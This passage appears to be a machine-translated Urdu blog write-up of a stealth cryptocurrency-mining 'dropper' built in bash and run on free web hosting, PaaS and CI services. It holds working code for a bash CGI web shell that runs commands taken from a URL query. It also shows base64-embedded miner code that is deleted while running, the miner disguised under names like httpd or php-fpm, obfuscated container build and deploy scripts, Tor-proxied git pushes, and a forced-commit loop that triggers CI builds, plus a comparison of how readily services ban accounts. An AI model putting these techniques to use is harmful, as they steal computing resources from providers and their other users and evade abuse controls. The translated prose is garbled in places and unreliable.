json فائل میں صرف bash کے ساتھ ترمیم کا اطلاق ہم نے کچھ env var متبادل ، اور کچھ regex کے ساتھ کیا۔ شروع میں ہم ایک پر انحصار کر رہے تھے۔envsubst بائنری متغیرات کو لاگو کرنے کے لئے ، پھر ہم مکمل باز گئے۔[7] اس منطق کے ساتھ:

ذیلی عمل سے بچنے کے علاوہ ، ایک اور فائدہ یہ ہے کہ ہم اپنے ٹیمپلیٹس میں مکمل بش صلاحیتیں حاصل کرتے ہیں۔ بغیر ٹیمپلیٹس کے پڑھنے اور لکھنے کے لیے ، ہمیں bash regex صلاحیتوں پر انحصار کرنا ہوگا۔

cc_rgx='( *".*?" *: *)("(.*?)"|([^,]*?)) *(,|.*?\/\/.*?|\n|$)'
change_config() {
	local subs
	while read l; do
		if [ "${l}" != "${l/\"*$1*\"*:/}" ]; then
			[[ "${l}" =~ $cc_rgx ]]
			matches=("${BASH_REMATCH[@]}")
			[ -n "${matches[3]}" -a "${2:0:1}" != "\"" ] &&
				subs="\"$2\"" ||
				subs="$2"
			CONFIG=${CONFIG/${matches[0]}/${matches[1]}$subs${matches[5]}}
			break
		fi
	done <<<"$(printf '%s' "$CONFIG" 2>/dev/null)"
}

## output miner config value $1 unquoted
gc_rgx=' *"[^:]+" *: *("(.*?)"|([^,]*)) *(,|.*?\/\/.*?|\n|$)'
get_config() {
	while read l; do
		if [ "${l}" != "${l/\"*$1*\"*:/}" ]; then
			[[ "${l}" =~ $gc_rgx ]]
			[ -n "${BASH_REMATCH[2]}" ] &&
				printf '%s' "${BASH_REMATCH[2]}" ||
				printf '%s' "${BASH_REMATCH[3]}"
			break
		fi
	done <<<"$(printf '%s' "$CONFIG" 2>/dev/null)"
}

یہ ہمیں صرف ایک لائن میں ترمیم کرنے کی اجازت دیتا ہے ، ملٹی لائن اندراجات کے لیے یہ صرف پہلی لائن پر غور کرتا ہے..لیکن یہ ہمارے استعمال کے معاملے کے لیے کافی اچھا ہے.

رن ٹائم

ہمارا رن ٹائم کیسا لگتا ہے؟ ہمارے پاس مین باش پروسیس ہے جو مین لوپ ، پھر مائنر سب پروسیس ، سی پی یو مانیٹر سب پروسیس ، لاکر اور ٹونر پر عمل کرتا ہے۔ یہ تقریبا ایک مٹھی بھر ہے۔

سب سے پہلے ہم اس بات کو یقینی بنانا چاہتے ہیں کہ اگر کچھ غلط ہو جائے تو ہم کوئی گڑبڑ نہیں چھوڑتے ، اس کا مطلب یہ ہے کہ ہم ختم کرنے پر صفائی کرنے کے لیے باش ٹریپ کا استعمال کرتے ہیں

trap "trap - SIGINT EXIT SIGKILL SIGTERM; kill -9 \$(jobs -p); cleanup &>/dev/null ; fleep 10" SIGINT EXIT SIGKILL SIGTERM

trap - ... تکرار کو روکنے کے لیے جال کو کھولتا ہے۔ جال تمام ملازمتوں کو ختم کر دیتا ہے اور کام کا ماحول ہٹا دیتا ہے۔

مائنر شروع کرنے کا وقت آگیا ہے ، جو بیس 64 انکوڈنگ میں بش متغیر کے طور پر محفوظ ہے۔ ہم اسے فائل سسٹم پر پھینک دیتے ہیں ، پھر ہم کنفیگ کو ڈمپ کرتے ہیں ، مائنر کو چلاتے ہیں ، اور مائنر اور کنفیگ دونوں کو ہٹا دیتے ہیں۔ لینکس پر آپ چلنے والے عمل کے قابل عمل کو ہٹا سکتے ہیں ، (ونڈوز پر اس کی اجازت نہیں ہے)[8] جب کان کن چل رہا ہے ، فائل سسٹم پر صرف a ہے۔.. / a کے ساتھ ڈائریکٹریb64 اس میں لنک.

## put a file $1 into a var $2
fileToVar(){
    declare -n tmpd="$2" && tmpd=$(b64e "$1") && return
    if [ -z "$tmpd" ]; then
        log "gobbling in array"
        eval "$2=1" ## avoid empty checks
        gobbled[$2]=$(b64e "$1")
    else
        return 1 ## do not quote assignment otherwise ram is not released
    fi
}
## put a var $1 into a file $2
varToFile(){
    if [ -n "$VERBOSE" ]; then
        if declare -n 2>>${VERBOSE} && eval "b64d <<<\"\$$1\" 1>\"$2\" 2>>${VERBOSE}"; then
            return
        else
            # log "dumping from array"
            eval "b64d <<<\"\${gobbled[$1]}\" 1>\"$2\" 2>>${VERBOSE}" && return
        fi
        return 1
    else if declare -n && eval "b64d <<<\"\$$1\" >\"$2\""; then
             return
         else
             # log "dumping from array"
             eval "b64d <<<\"\${gobbled[$1]}\" >\"$2\"" && return
         fi
         return 1
    fi
}

مائنر کو انکوڈ کرتے وقت بش کے ساتھ ایک پاگل پن کا سامنا کرنا پڑا وہ یہ ہے کہ ایک متغیر کو سبسیل کے ساتھ حوالوں کے ساتھ تفویض کرناmyvar="$(something)" میموری کے استعمال میں مستقل اضافے کا سبب بنتا ہے ، اسے ڈیبگ کرنا مشکل تھا اور واقعی میں اس طرح کے برتاؤ کی وجہ نہیں ملی ، ویسے بھی اسائنمنٹ کو بلا حوالہ رکھنا پڑتا ہے۔ اس کے بجائے ضابطہ کشائی کی جاتی ہے۔ وارثی جو عارضی فائلوں پر ایک تجرید ہے ، متغیر کو ایک فائل میں پھینک دیا جاتا ہے جو پھر عمل میں پائپ کیا جاتا ہے۔

مائنر لمبی چلنے والی لوپ:

آؤٹ پٹ لائن کچھ ریجیکس کے ساتھ مماثل ہے:

act_rgx='(accepted|speed|paused|algo:|-> update config|-> publish config|-> trigger restart|\[CC\-Client\] error|Error: \"\[Connect\]|POOL #1:      \(null\))|not enough memory|self-test failed|read error|cpu  disabled'

ڈیمون ایسے معاملات کو سنبھالتا ہے جہاں۔

تھوڑی دیر کے لیے کمانڈ اینڈ کنٹرول ڈیش بورڈ کے لیے سپورٹ موجود تھی ، جس نے دستی دوبارہ شروع کرنے کی اجازت دی ، تاہم چونکہ اس کا استعمال کم سے کم تھا اس لیے اسے خارج کر دیا گیا ، اور اس کے اختتامی مقامات کو متبادل پول کنکشن سے تبدیل کر دیا گیا ، دوبارہ شروع کرنے کا عمل بھی غیر مستحکم ، پیچیدہ تھا۔ .. ٹیک قرض کی ایک اور مثال. تاہم اس نے ایک تازہ ترین پے لوڈ دوبارہ لانے اور فلائی پر تمام کنفیگریشنز کو دوبارہ سیٹ اپ کرنے کی اجازت دی ، جو کہ بہت عمدہ ٹرامپولین تھی۔

ڈیبگ کرنا۔

تین اہم افادیتیں ہیں۔

ہدف تعیناتیاں۔

یہ سیٹ اپ 3 قسم کے میزبانوں پر آزمایا گیا ہے۔

خود میزبان کنٹینرز یا VMs۔

بہت سے ہوسٹنگ فراہم کرنے والے کان کنی کو پسند نہیں کرتے کیونکہ سی پی یو کے وسائل ایک سے زیادہ صارفین کے درمیان بانٹے جاتے ہیں ، اور کان کنی کا سافٹ ویئر باقی صارفین کی کارکردگی کو متاثر کرنے والے میزبان نوڈ کو آسانی سے سست کر سکتا ہے۔ یہ درست ہوسکتا ہے یہاں تک کہ اگر سی پی یو صارف کا وقت لامحدود ہے ، کیونکہ ہیشنگ الگورتھم سی پی یو کی تمام کیچنگ تہوں کو پورا کرسکتا ہے اگر کیشے کو تمام سی پی یو کوروں میں بانٹ دیا جائے۔

ہم اپنا استعمال کرنا چاہتے ہیں۔ منصفانہ پابندی کے بغیر وسائل کا حصہ ، یہ ہمارے اسٹیلتھ ڈراپر کے لیے ایک اچھا استعمال ہے کیونکہ یہ میزبان کے استعمال سے آگاہ ہے ، جس کا مطلب ہے چاہئے [AUP] کے اندر رہو سیلف میزبان تعیناتیوں سے نمٹنے کے وقت کوئی اضافی اقدامات نہیں ہیں ، صرف لانچر اسکرپٹ ، شاید بوٹ تسلسل میں شامل کیا جائے یا دستی طور پر لانچ کیا جائے۔

cPanel پر مبنی ویب ہوسٹنگ

ویب ہوسٹنگ سبسکرپشنز کے منصوبے زیادہ تر [cPanel] کے ذریعے پیش کیے جاتے ہیں۔ ایک بار پھر ہم ذاتی سبسکرپشن پلان استعمال کر رہے ہیں جس میں وسائل کی معقول حد ہے ، دوسری طرف کسی بھی مفت پلان کی مضحکہ خیز حدود ہیں[9] . سی پینل آپ کو مختلف فائل ایکسٹینشنز کے لیے ہینڈلرز کی وضاحت کرنے کی اجازت دیتا ہے ، اس سے ہمیں شیل اسکرپٹس کو سی جی آئی سرور پر اپ لوڈ کردہ شیل اسکرپٹ کے خلاف http درخواست کے ساتھ۔ اس قسم کے انٹرفیس ویب شیل کی طرح دکھائی دیتے ہیں۔[10] . ایک سادہ باز ویب شیل۔

# without content encoding the request response won't be honored
echo -e 'Content-Type: text/plain\n'
SERVER_NAME=myserver
## parse vars (for interactive use)
saveIFS=$IFS
IFS='=&'
parm=($QUERY_STRING)
IFS=$saveIFS
for ((i=0; i<${#parm[@]}; i+=2))
do
    declare var_${parm[i]}=${parm[i+1]}
done
## exec command for interactive and proclimited scenarios
url_encoded="${var_path//+/ }"
export PATH=".:$PATH"
. /dev/shm/srv/utils/load.env &>/dev/null

if declare -f "${url_encoded/\%20*}" 1>/dev/null; then ## don't use -n, redirect fd for bcompat
    printf '%b' "${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
else
    if builtin "${url_encoded/\%20*}"; then
        printf '%b' "${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
    else
        printf 'exec %b' "${url_encoded//%/\\x}" > /tmp/${SERVER_NAME}.src
    fi
fi
. /tmp/${SERVER_NAME}.src

بہتر ہے کہ صرف بلٹ ان پر بھروسہ کیا جائے کیونکہ ویب جیلوں میں اضافی عمل کی اجازت نہیں دی جا سکتی ، لیکن یہ ہمیشہ ممکن ہےexec جو ہمیں کمانڈ لائن کی زیادہ تر افادیت استعمال کرنے کی اجازت دیتا ہے۔ زیادہ تر ویب شیل دیگر اسکرپٹنگ زبانوں میں لکھے جاتے ہیں جیسے ازگر یا پی ایچ پی کیونکہ آپ کو کانٹے کے بارے میں فکر کرنے کی ضرورت نہیں ہے۔

ایک cpanel ماحول میں کان کن عمل کے لیے ایک مستحکم نام استعمال کرنا بہتر ہے ، جیسے۔httpd یاphp-fpm کیونکہcgi کثیر پروسیسنگ پر مبنی ہے ، لہذا سرور ہمیشہ اس طرح کے بہت سے عمل سے بھرے رہتے ہیں ، حالانکہ ایک محتاط مبصر کو نوٹس لینا چاہیے کثیر تھریڈڈ استعمال کا نمونہ جو کہ پرل ، پی ایچ پی ، روبی ، یا ازگر جیسی زبانوں کے لیے یقینی طور پر عام (یا ممکن) نہیں ہے!

پروسیس کی ڈیفالٹ طور پر بھی ایک وقت کی حد ہوتی ہے ، (1 گھنٹہ ، 1 دن ، وغیرہ۔) ، اس کے لیے ہم صرف ایک کرون جاب استعمال کرتے ہیں جو ڈراپر کو دوبارہ شروع کرتا ہے۔

اس کے لیے بہت زیادہ مینوئل ایڈیٹنگ درکار ہے ، cpanel api کو خودکار بنانے کے لیے یہ بدقسمتی سے اختتامی صارفین کے سامنے نہیں ہے ، لہذا ویب ہوسٹنگ ہمارے مائنر ڈراپر کے لیے ایک گھناؤنا اور بورنگ ہدف ہے۔

ویب ماحول

وہاں ہے ساس۔ فراہم کنندگان جن کے پاس ایک ویب ایڈیٹر ہے اور کنٹینر ہے ، جیسے۔ بادل 9 ، [codeanywhere] ، [codenvy]۔ ڈراپر کو یہاں تعینات کرنا آسان ہے (آپ کے پاس ایک مکمل ماحول ہے) ، لیکن اسے چلاتے رہنا ایک بوجھ ہے ، کیونکہ کوئی بھی انٹرایکٹو ویب ایڈیٹر ویب پیج بند ہونے کے فورا بعد اپنا سیشن ختم کر دیتا ہے ، اور کنٹینر کے نتیجے میں سو جاتا ہے (جب تک آپ یقینا ادا کریں)

اس کو گھمانے کا مطلب صرف یہ ہو سکتا ہے کہ ہمیں سیشنز کو کھلا رکھنا ہے ، کچھ سکرپٹنگ کے ساتھ [puppeteer] نے مطلوبہ نتیجہ حاصل کیا ، لیکن طویل عرصے تک چلنا ، میموری لیک ہونا ، پھولا ہوا SPAs ویب پیج ہونا یقینی طور پر ناگوار ہے اور چپکے سے نہیں ، کیونکہ فراہم کنندہ کی طرف سے ، 24/7 کھولا جانے والا سیشن یقینی طور پر مشکوک نظر آئے گا۔ درحقیقت ، ویب ماحول بھی پیچیدہ اور بورنگ اہداف ہیں۔

مفت ایپس سروسز۔

یہ بنیادی طور پر ہے۔ اوپن شفٹ[11] اور [ہیروکو] اوپنشفٹ ، کبرنیٹس ہونے کے ناطے تعینات کرنا کچھ سیدھا تھا ، لیکن کنفگریشن سے بھرا ہوا ، یہاں ایک اقتباس ہے:

export PATH=.:$PATH

[ -z "$OC_PRJ" ] && { echo "no account data provided"; exit 1; }
obfs=~/utils/deploy/obfs.sh
[ -x $obfs ] ||
    { echo "obfs utility not found!"; exit 1; }
launcher=~/launcher
[ -f $launcher ] ||
    { echo "launcher script not found!"; exit 1; }

ctroot=${CT_ROOT_DIR:-oc-ct-box-mine}
## the service that starts the miner is named app in /etc/services.d in the rootfs
scriptpath="rootfs/etc/services.d/app/run"
TYPE=${HRK_TYPE:-worker}
IMG=$(oc-endpoint)/$OC_PRJ/$OC_APP
tspath=/tmp/oc-tmp-apprun
prepend="#!/usr/bin/with-contenv bash
"
## beware the newline ^^^

cd $ctroot || { echo "couldn't find ct build directory"; exit 1; }

VARS=$(cat vars) || { echo 'vars file empty!'; }
VARS=${VARS//$'\n'/ }
VARS=${VARS//\\/\\\\} ## preserve escapes
script=$(cat $launcher | tail +2 | sed -r '/^echo "export \\$/a '"$VARS"' \\')
cat <<< "$script" > $tspath
$obfs $tspath
[ -z "${tspath}.obfs" ] && { echo "obfs file not found?"; exit 1; }
cat <<< "$prepend$(cat "${tspath}.obfs")" > $scriptpath
exec itself (should eval)
chmod +x $scriptpath

docker build -t $IMG  . || exit 1
cd -
oc-push-image "$IMG"

یہ وہ سکرپٹ تھا جو کان کنی کے کنٹینر کی تعمیر کے لیے استعمال کیا جاتا تھا جس کے لیے یمل ٹیمپلیٹ درکار ہوتا تھا۔

apiVersion: build.openshift.io/v1
kind: BuildConfig
metadata:
  labels:
    build: ${OC_APP}
  name: ${OC_APP}
spec:
  activeDeadlineSeconds: 5184000
  failedBuildsHistoryLimit: 0
  successfulBuildsHistoryLimit: 0
  resources:
    limits:
      cpu: 2
      memory: 1Gi
  runPolicy: Serial
  source:
    type: Binary
  strategy:
    sourceStrategy:
      from:
        kind: ImageStreamTag
        name: ${OC_APP}-build:latest
        namespace: ${OC_PRJ}
    type: Source
  template:
    activeDeadlineSeconds: 2400
  triggers:
    - generic:
        secretReference:
          name: ${OC_APP}
      type: Generic

لیکن اس پورے عمل میں بہت سارے اقدامات شامل تھے!

## init
[ -z "$OC_APP" ] && export $(<$(tfi))
[ -z "$OC_APP" ] && { . ./choose-creds || exit 1; }
oc-login
oc new-project $OC_PRJ || { [ -z "$(oc get projects)" ] && exit 1; }
oc new-app $OC_APP --allow-missing-images || exit 1

## build box with docker and push
# oc-docker-login || exit 1
oc-build-mine || exit 1

## create dc config
export OC_TEMPLATE_TYPE=mine
oc-box-template || exit 1
rtr=0
while [ $rtr -lt 10 ]; do
  oc rollout latest $OC_APP && break
  rtr=$((rtr+1))
  read -t 1
done
exit
## builds
bash -x oc-build-build || exit 1
bash -x oc-build-template || exit 1
oc start-build $OC_APP || exit 1

accounts=${ACCOUNTS_DIR:-accounts_queue}
mv $accounts/${OC_USR}{\.this,\.$(date +%s)}

چھدم کوڈ میں:

کیbuild-build سکرپٹ بجائے a تعمیر کنٹینر جو ایک وقت میں چند گھنٹوں کے لیے میرا ہو گا۔ بلڈ اور نارمل پھلیوں کے اوپن شفٹ میں الگ الگ وسائل ہوتے ہیں لہذا ہم نے ان دونوں کا استحصال کیا۔ اوپنشفٹ مجموعی طور پر ایک برا تجربہ تھا کیونکہ یہ 4 مختلف ریلیزز (شاید زیادہ ، میں نے تھوڑی دیر کے بعد ٹریک کرنا بند کر دیا) اور ان میں سے ہر ایک کو کنفیگریشن میں تبدیلی کی ضرورت تھی ، ان کے پاس اپ گریڈ کے راستے نہیں تھے اور ہر چیز کو تیزی سے دہرایا گیا تھا ، اور یہ عام تھا تعمیرات/پھلیوں کو روکنے کے لیے ، اور کچرا اکٹھا نہ کرنے کے لیے ... وہ عام طور پر ہر بار تھوڑی دیر میں دستی طور پر دوبارہ شروع کرتے تھے ، شاید کبرنیٹس صرف چھوٹی چھوٹی تھی :)

ہیروکو کنفیگریشن تھوڑا سا آسان تھا (اس میں کبرنیٹس شامل نہیں ہیں)۔ کنٹینر بلڈ کے علاوہ ، جو اوپن شفٹ ون کی طرح تھا ، باقی صرف دو کلی کمانڈز تھے۔

heroku config:set HRK_APP=$HRK_APP -a $HRK_APP
heroku container:release -a $HRK_APP $TYPE

کنٹینر کو براہ راست ڈاکر کے ساتھ ہیروکو رجسٹری کی طرف دھکیل دیا گیا۔[12] ہیروکو کے ساتھ رگڑ (جو کہ فری ٹائر ابھی تک لکھنے کے وقت تک کھڑا ہے) یہ ہے کہ ڈائنوس صرف 22 دن فی مہینہ چل سکتا ہے لہذا انہیں ہر ماہ کچھ دستی انتظام کی ضرورت ہوتی ہے ، پھر مشکل اور بورنگ۔ انہوں نے شروع میں کچھ پابندی کی لہروں پر عمل کیا ، اور پھر انہوں نے ٹی او آر کے ذریعے رجسٹریشن کو غیر فعال کردیا ، مجھے یقین ہے کہ میں اس کی وجہ تھا۔

CI کنٹینرز یا VMs۔

یہ ہمارے ڈراپر کے لیے انتہائی ہم آہنگ اہداف تھے۔ بہت ہیں سی آئی کمپنیاں ، جن میں سے بہت سے سرمایہ کاروں کے پیسے جلا رہے ہیں ، ٹیک انفراسٹرکچر کے کاروبار میں کچھ مارکیٹ شیئر اکٹھا کرنے کی امید میں مفت درجے پیش کرتے ہیں۔

یہ تمام خدمات مختلف وسائل پیش کرتی ہیں ، مختلف ترتیب کی ضروریات ہیں اور مختلف ماحول میں چلتی ہیں۔ میں نے کبھی بھی خودکار اکاؤنٹ رجسٹریشن پر غور نہیں کیا کیونکہ اس قسم کی چیزیں پروگرام کے لیے خوفناک ہوتی ہیں ، میں ہر وقت ان سے بچنے کی کوشش کرتا ہوں ، اس لیے میں نے تھوڑی دیر کے لیے صرف دستی رجسٹریشن کو برداشت کیا کیونکہ مجھے تجسس تھا کہ مجھے کس قسم کا اینٹی سپیم رسپانس ملے گا (اور باقیوں سے کتنا مختلف!) آپ کمپنی کے انتظام کے بارے میں کچھ چیزوں کا اندازہ لگا سکتے ہیں کہ وہ سپیم کو کس طرح سنبھالتی ہے۔

ایک فلسفیانہ سوال بھی ہے: اگر کوئی سروس آپ کو ان کے نظام کو طویل عرصے تک غلط استعمال کرنے کی اجازت دیتی ہے ، تو کیا اس کا مطلب یہ ہے کہ ان کے پاس ایک اعلی ترین شیلف انفراسٹرکچر ہے جو بوجھ کو سنبھالنے کی صلاحیت رکھتا ہے ، یا صرف اپنے سسٹم پر ناقص کنٹرول رکھتا ہے؟ اور آپ کو رسائی اور سیکورٹی کے درمیان توازن پر غور کرنا چاہیے ، بہت زیادہ محفوظ نظام صارف کی برقراری کو کم کر سکتا ہے۔

یہاں ایک ٹیبل ہے جس میں کچھ خدمات دکھائی گئی ہیں جن میں میں نے تعینات کیا ہے:

ciترتیبکارکردگیہتھوڑا
بٹ رائز۔برامیڈیممیڈیم
ٹریوس۔اچھیمیڈیماچھی
کوڈ شپمیڈیمبرامیڈیم
گٹلیب۔میڈیماچھیاچھی
سرکلسی۔برااچھیمیڈیم
سیمفور۔اچھیاچھیمیڈیم
ڈاکر۔میڈیممیڈیماچھی
کوےاچھیمیڈیممیڈیم
کوڈ فریش۔برااچھیمیڈیم
ورکر۔میڈیممیڈیمبرا
Azure-pipelinesمیڈیممیڈیمبرا
مسلسل پی ایچ پیبرامیڈیممیڈیم
بڈیبرابرابرا
ڈرونبرااچھیبرا
درخواست دینے والا۔برامیڈیمبرا
نیور کوڈ۔برااچھیمیڈیم
زیسٹ/ورسل۔برااچھیبرا

اس تناظر میں ، a اچھی کنفیگریشن کا مطلب ہے کہ اس کو تشکیل دینے میں زیادہ وقت نہیں لگا۔ci کان کنی کے عمل کے لیے نوکری (جیسے ذخیرہ کرنے والی ڈاٹ فائل کی بجائے ویب ڈیش بورڈ پر انحصار کرنے والی تمام خدمات ایک کام کا کام تھیں) براban-hammer اس کا مطلب یہ ہے کہ سروس میں رجسٹر کرنا مشکل تھا ، یا یہ کہ اکاؤنٹس پر زیادہ جارحانہ پابندی عائد ہوگی۔

بٹ رائز۔ کسی پروجیکٹ کو ترتیب دینے کی ضرورت ہوتی ہے ، ماحول ، ٹارگٹ فن تعمیر ، عملدرآمد کا عمل اور دیگر چیزوں کا اندازہ لگانے کے لیے ، ایک بلڈ سیٹ اپ کرنے میں بہت وقت لگتا تھا لہذا اسے ترتیب میں خراب درجہ ملا۔ مسلسل پی ایچ پی, بڈی ، [کوڈفریش] کے پاس دستی غیر اعلانیہ ترتیب دینے کے بہت سے مراحل تھے۔

[Azure-pipelines] جیسی خدمات ، ورکر۔, بڈی اکاؤنٹس پر شیڈو پابندی لگاتا ہے ، سائے پر پابندی خراب ہے ، کیونکہ وہ آپ کو اندازہ لگاتے ہیں کہ آپ کی ترتیب میں کچھ غلط ہے یا نہیں۔ کچھ خدمات کے ذریعے آپ پابندی کی وجہ کا اندازہ لگا سکتے ہیں (بہت زیادہ آپ کی تعمیر میں بہت زیادہ وقت لگتا ہے ، یا آپ نے ایک مختصر عرصے میں بہت زیادہ بار تعمیر کیا ہے) ، [Azure-pipelines] کی طرح کچھ دوسروں کے لیے میں فرض کرتا ہوں کہ انہوں نے کسی قسم کی فنگر پرنٹ لگائی ہے صارف کے ذخیروں پر پابندی کے باوجود وسائل کے کسی بھی غلط استعمال کے بغیر ، آزور اور ورسل پر بھی پابندی ہےDNS پبلک بلڈ مشینوں میں رسائی ، تاکہ یہ اضافی رگڑ ہو جس کو ایڈہاک ٹنل سے دور کرنے کی ضرورت ہے۔

ڈرون پورے 16+ کور پروسیسر تک رسائی دی لیکن 2 تعمیرات کے بعد پابندی ختم کردی۔[13]. کوڈ شپ طاقتور بلڈ میزبانوں تک بھی رسائی دیتا ہے اور ڈرون کی طرح جارحانہ طور پر پابندی نہیں لگائی۔

میری پسندیدہ خدمات منافع کی وجہ سے نہیں بلکہ آسانی اور سہولت کے لیے تھیں (دیگر منصوبوں کے ساتھ بھی)۔ ٹریوس۔, سیمفور۔ اور ڈاکر حب۔ . ٹریوس معیاری CI کی طرح ہے اور بہت لچکدار ہے ، سیمافور واحد ہے۔DSL کے لیےCI یہ قابل رسائی اور اچھی لگ رہی تھی حالانکہ دوسرے UIs کی طرح صرف سپیگٹیفائیڈ چیک باکسز کی ایک نہ ختم ہونے والی ترتیب کی بجائے ، اور ڈوکر صرف ڈوکر فائلوں کو بنانے کے لیے نقشہ بنانے کی سادگی کے لیے۔

تشکیلات بناتا ہے۔

تعمیرات کو یا تو ویب سروسز کے ذریعہ پیش کردہ کرون جابز یا گٹ کمٹس کے ذریعے متحرک کیا گیا تھا۔ لہذا آپ کو تمام گٹ کمیٹس کو سنبھالنے کے لیے رسائی ٹوکن یا ایس ایس ایچ کیز کے گندگی کا ٹریک رکھنا پڑا۔ یہ بھی ضروری تھا کہ زیادہ فضول کام نہ کریں ، اور گٹ کو ترتیب دینے والے ذخیروں کی طرف دھکیلتے وقت پراکسی استعمال کریں:

[http]
        proxy = socks5://127.0.0.1:9050
        sslverify = false
[https]
        proxy = socks5://127.0.0.1:9050
        sslverify = false
[url "https://"]
    insteadOf = git://

گٹ ہوسٹنگ سروسز کا استعمال کرتے ہوئے ، گیتھب پابندیوں کے بارے میں ایک زیادہ مکمل رہا ہے ، لیکن ان کو صرف سی آئی سروسز ایڈمنز کی جانب سے غلط استعمال کی رپورٹس پر پھانسی دی گئی تھی ، جب میں نے سی آئی ٹرائل (لاپرواہی) کی تجدید کرنے کی کوشش کی تو گٹ لیب نے ایک بار پابندی کی لہر کو نافذ کیا۔ مجھے بٹ بکٹ اکاؤنٹ پر کبھی پابندی نہیں ملی۔ گٹ کمٹس کو (زبردستی) کرنے کے لیے ، ہمارے پاس ایک طویل چلنے والا لوپ ہے جو گٹ ذخیرے کو دوبارہ ٹیگ کرتا ہے:

while :; do
    repos_count=$(ls -ld ${repos}/* | grep -c ^d)
    repos_ival=$(((RANDOM%variance+delay)/repos_count))
    for r in $repos/*; do
        cd "$r"
        git fetch --all
        tagger
        echo -e "\e[32m""sleeping for $repos_ival since $(date +%H:%M:%S\ %b/%d)""\e[0m"
        sleep $repos_ival
    done
    sleep 1
done

یہ ممکن ہو سکتا ہے کہ اس طرح زور لگانا کوئی ایسی چیز نہیں ہے جسے گیتھب بہت پسند کرتا ہے اور یہ اکاؤنٹس کو جھنڈا لگانے کی وجہ بن سکتا ہے۔ ٹیگر فنکشن جو مختلف کاموں کو طاقت سے آگے بڑھانے کا کام سونپا گیا ہے ، ایک ویب سائٹ (جسے آپ بہت آسانی سے دیکھ سکتے ہیں) استعمال کرتے ہیں جو کچھ بے ترتیب کام کرتا ہے۔ مجھے یقین نہیں ہے کہ اس سے کتنی مدد ملتی ہے ، کیونکہ کمیٹس کا مواد ہی میرے معاملے کے لیے واضح طور پر مشکوک ہے۔ اور اس نے مجھے ایک بار گدی میں بھی کاٹ لیا ، چونکہ اس کمانڈ سے واپس آنے والے کمٹ میں حلف کے الفاظ شامل ہوسکتے ہیں ، میرے ایک کمٹمنٹ کو ایک ٹویٹر بوٹ نے اٹھایا جو کہ گٹ کمیٹس کو قسموں کے الفاظ سے ٹریک کرتا ہے! میں نے اس واقعے کے بعد برے الفاظ کے لیے بلیک لسٹ شامل کی۔

میں نے واقعی گٹ کمٹس اور مبہم گٹ ذخیروں میں تلاش نہیں کیا ہے۔ صرف ایک مثال جہاں میں زیادہ وسیع ذخیرہ استعمال کر رہا تھا وہ بٹریس کے ساتھ تھا کیونکہ اگر آپ ماحول کو نہیں پہچانتے تو آپ بلڈ سیٹ نہیں کر سکتے تھے (جیسے موبائل ایپس) ، لیکن پھر بھی کوئی گردش نہیں تھی اور یہ ہمیشہ ایک جیسا ہی تھا ذخیرہ ، تلاش کرنا کافی آسان ہے۔

مجموعی طور پر ، اگر مجھے اپنے وقت کے ارد گرد گھنٹی کا وکر لگانا پڑا۔ بغیرتمام آزمائشی خدمات کے دوران اکاؤنٹس پر پابندی لگانا ، مرکز کے ساتھ تقریبا 1 1 گھنٹہ کی تعمیر کا دورانیہ ہوگا ، فی دن ایک بار۔ سی پی یو کورز کے لیے ، ایک دو جھوٹے (ڈرون کی طرح) کے لیے ، زیادہ تر سروسز توقع کرتی ہیں کہ آپ کو دیے گئے وسائل کی مکمل مقدار استعمال کی جائے گی کیونکہ عمارتیں VMs یا کنٹینر کے اندر چلائی جاتی ہیں۔ سی پی یو کو سیر کرتا ہے ، لہذا اس میں شماریاتی مطابقت نہیں ہے۔ بدیہی طور پر روزانہ ایک تعمیر وہی ہے جو اوسط ڈویلپر کرے گا ، لہذا اگر آپ وسط سے دور ہو جاتے ہیں تو آپ کو بلند پرچموں کی توقع کرنی چاہیے ، اور زیادتی پر زور دینا کبھی بھی اچھی طرح ختم نہیں ہوتا ہے۔

نتائج

کیا یہ اس کے قابل تھا؟ نیٹ ورکنگ کے حصے یقینی طور پر دلچسپ تھے ، کھاتوں کی رجسٹریشن سے نمٹنا ظاہر ہے کہ سب سے خراب حصہ تھا ، نوبوڈیز لامتناہی تصدیقی ای میلز پر کلک کرنا پسند کرتی ہیں اور ذہن کو بے حس کرنے والے UI طریقہ کار کو دہراتے ہیں۔ اسپام آٹومیشن سافٹ ویئر لکھنا بھی بورنگ ہے (کیونکہ آپ زیادہ تر گونگے APIs پر گھس رہے ہیں) ، اور اس مفروضے کے ساتھ (اور حقیقت یہ ہے کہ یہ کبھی کوئی سنجیدہ بات نہیں تھی) میں نے کبھی اس پر غور بھی نہیں کیا۔ کیا یہ منافع بخش تھا؟ اپنے عروج پر یہ کچھ اس طرح پہنچ رہا تھا۔300$ فی مہینہ ، شاید وینزویلا کے لیے کافی ہے ، واقعی میرے لیے نہیں :)

[1] بدمزاج سیسڈمین
[2]اگرچہ یہ رازداری کے بہت سے مفروضوں کو توڑ دے گا ، مجھے یقین ہے کہ ان میں سے بیشتر جب بھی کوئی آنے والا مسئلہ ہوتا ہے صرف اندر جھانکتا ہے ، لیکن یہ صرف کنٹینر پر مبنی رن ٹائمز کا مسئلہ ہے ، جبکہ وی ایم بہت زیادہ بلیک باکس ہیں۔
[3]منیرو نوڈ میں بنائے گئے کان کن کو کچھ پس منظر دوست بنانے کے لیے کچھ کام ملا ، لیکن xmrig کی تقسیم کبھی بھی پس منظر دوستی پر مرکوز نہیں تھی۔
[5]کچھ تالاب مختلف کنکشن بندرگاہوں پر مختلف مشکلات پیش کرتے ہیں ، اور کام کی دشواری کو کان کن کے جمع کرائے گئے حصص سے ہم آہنگ کرتے ہیں ، لیکن پراکسی کی گرانولریٹی اب بھی زیادہ آسان تھی ، کیونکہ یہ پول کو روکتا ہے بند کردو (حالانکہ ہم نے کبھی بھی پول تبدیل نہیں کیے)
[4]یہ خوش نہیں تھا جب کنفیگ اچانک نمودار ہوئی اور فائل سسٹم سے غائب ہوگئی۔
[6]ہم کے بارے میں بات نہیں کرتے سٹرٹم پروٹوکول چونکہ ہمیں صرف جو کچھ بھی لاگو ہوتا ہے اس سے نمٹنا ہے۔ دونوں پول اور کان کن ... جو کہ عام طور پر کم سے کم ہوتا ہے ، اور ممکنہ طور پر غیر معیاری توسیع کے ساتھ۔
[7]کبھی بھی مکمل باز نہ آؤ :)
